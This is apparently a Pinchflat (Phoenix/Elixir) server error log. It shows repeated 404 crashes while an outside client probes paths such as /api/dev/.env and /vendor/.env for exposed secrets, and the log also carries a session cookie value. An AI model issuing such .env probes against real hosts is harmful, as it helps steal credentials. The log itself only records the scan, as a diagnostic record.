~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/api/dev/.env", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ", "host" => "pinchflat.tail3db17d.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "3.21.113.64", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https", "x-nextjs-request-id" => "ef409ae1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 101, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /api/dev/ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/api/dev/.env", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ", "host" => "pinchflat.tail3db17d.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "3.21.113.64", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https", "x-nextjs-request-id" => "ef409ae1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 101, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ" }, (truncated) 02:10:15.971 [info] GET /api/staging/.env 02:10:15.971 [debug] QUERY OK source="settings" db=0.3ms idle=125.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:10:15.972 [debug] QUERY OK source="settings" db=0.2ms idle=126.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:10:15.972 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 02:10:15.972 [error] #PID<0.3406.0> running PinchflatWeb.Endpoint (connection #PID<0.3304.0>, stream id 102) terminated Server: pinchflat.tail3db17d.ts.net:80 (http) Request: GET /api/staging/.env ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /api/staging/ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/api/staging/.env", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ", "host" => "pinchflat.tail3db17d.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "3.21.113.64", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https", "x-nextjs-request-id" => "ef409ae1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 102, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ" }, halted: false, host: "pinchflat.tail3db17d.ts.net", method: "GET", owner: #PID<0.3406.0>, params: %{}, path_info: ["api", "staging", ""], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.tail3db17d.ts.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {127, 0, 0, 1}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, deflate"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ"}, {"host", "pinchflat.tail3db17d.ts.net"}, {"next-action", "x"}, {"tailscale-funnel-request", "?1"}, {"user-agent", "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36"}, {"x-forwarded-for", "3.21.113.64"}, {"x-forwarded-host", "pinchflat.tail3db17d.ts.net"}, {"x-forwarded-proto", "https"}, {"x-nextjs-request-id", "ef409ae1"} ], request_path: "/api/staging/.env", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMUk6kf-qmXN1r8AARlB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/api/staging/.env", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ", "host" => "pinchflat.tail3db17d.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "3.21.113.64", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https", "x-nextjs-request-id" => "ef409ae1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 102, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /api/staging/ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/api/staging/.env", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ", "host" => "pinchflat.tail3db17d.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "3.21.113.64", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https", "x-nextjs-request-id" => "ef409ae1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 102, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPa (truncated) 02:10:16.036 [info] GET /vendor/.env 02:10:16.036 [debug] QUERY OK source="settings" db=0.2ms idle=128.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:10:16.036 [debug] QUERY OK source="settings" db=0.1ms idle=128.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:10:16.036 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 02:10:16.037 [error] #PID<0.3407.0> running PinchflatWeb.Endpoint (connection #PID<0.3304.0>, stream id 103) terminated Server: pinchflat.tail3db17d.ts.net:80 (http) Request: GET /vendor/.env ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /vendor/ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/vendor/.env", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ", "host" => "pinchflat.tail3db17d.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "3.21.113.64", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https", "x-nextjs-request-id" => "ef409ae1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 103, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ" }, halted: false, host: "pinchflat.tail3db17d.ts.net", method: "GET", owner: #PID<0.3407.0>, params: %{}, path_info: ["vendor", ""], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.tail3db17d.ts.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {127, 0, 0, 1}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, deflate"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ"}, {"host", "pinchflat.tail3db17d.ts.net"}, {"next-action", "x"}, {"tailscale-funnel-request", "?1"}, {"user-agent", "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36"}, {"x-forwarded-for", "3.21.113.64"}, {"x-forwarded-host", "pinchflat.tail3db17d.ts.net"}, {"x-forwarded-proto", "https"}, {"x-nextjs-request-id", "ef409ae1"} ], request_path: "/vendor/.env", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMUk6kvcyQt31jMAARmB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/vendor/.env", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ", "host" => "pinchflat.tail3db17d.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "3.21.113.64", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https", "x-nextjs-request-id" => "ef409ae1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 103, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /vendor/ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/vendor/.env", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ", "host" => "pinchflat.tail3db17d.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "3.21.113.64", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https", "x-nextjs-request-id" => "ef409ae1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 103, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ" }, halted: (truncated) 02:10:16.096 [info] GET /lib/.env 02:10:16.097 [debug] QUERY OK source="settings" db=0.2ms idle=146.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:10:16.097 [debug] QUERY OK source="settings" db=0.0ms idle=125.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:10:16.097 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 02:10:16.097 [error] #PID<0.3408.0> running PinchflatWeb.Endpoint (connection #PID<0.3304.0>, stream id 104) terminated Server: pinchflat.tail3db17d.ts.net:80 (http) Request: GET /lib/.env ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /lib/ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/lib/.env", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ", "host" => "pinchflat.tail3db17d.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "3.21.113.64", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https", "x-nextjs-request-id" => "ef409ae1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 104, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ" }, halted: false, host: "pinchflat.tail3db17d.ts.net", method: "GET", owner: #PID<0.3408.0>, params: %{}, path_info: ["lib", ""], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.tail3db17d.ts.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {127, 0, 0, 1}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, deflate"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ"}, {"host", "pinchflat.tail3db17d.ts.net"}, {"next-action", "x"}, {"tailscale-funnel-request", "?1"}, {"user-agent", "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36"}, {"x-forwarded-for", "3.21.113.64"}, {"x-forwarded-host", "pinchflat.tail3db17d.ts.net"}, {"x-forwarded-proto", "https"}, {"x-nextjs-request-id", "ef409ae1"} ], request_path: "/lib/.env", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMUk6k95RxnhnCkAARnB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/lib/.env", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ", "host" => "pinchflat.tail3db17d.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "3.21.113.64", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https", "x-nextjs-request-id" => "ef409ae1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 104, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /lib/ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/lib/.env", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ", "host" => "pinchflat.tail3db17d.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "3.21.113.64", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https", "x-nextjs-request-id" => "ef409ae1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 104, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => 